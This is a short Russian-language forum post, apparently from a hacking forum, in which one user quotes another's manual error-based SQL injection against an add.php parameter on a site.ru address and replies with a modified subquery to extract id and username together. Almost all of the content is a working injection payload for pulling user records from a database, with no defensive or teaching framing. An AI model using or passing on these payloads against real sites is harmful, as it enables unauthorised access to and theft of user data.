11.10.2015, 18:49
|
|
Постоянный
Регистрация: 12.10.2011
Сообщений: 569
Провел на форуме:
178623
Репутация:
94
|
|
Сообщение от WallHack
↑
Кручу error-based руками
Такой запрос возвращает данные из колонки username
Код:
site.ru/add.php?site=' and (select 1,2 from(select count(*),concat((select username from users limit 0,1),floor(rand(0)*2))x from users group by x)a) and '1'='1
Можно вывести сразу id, username ?
select id,0x3a,username from users limit 0,1
|
|
|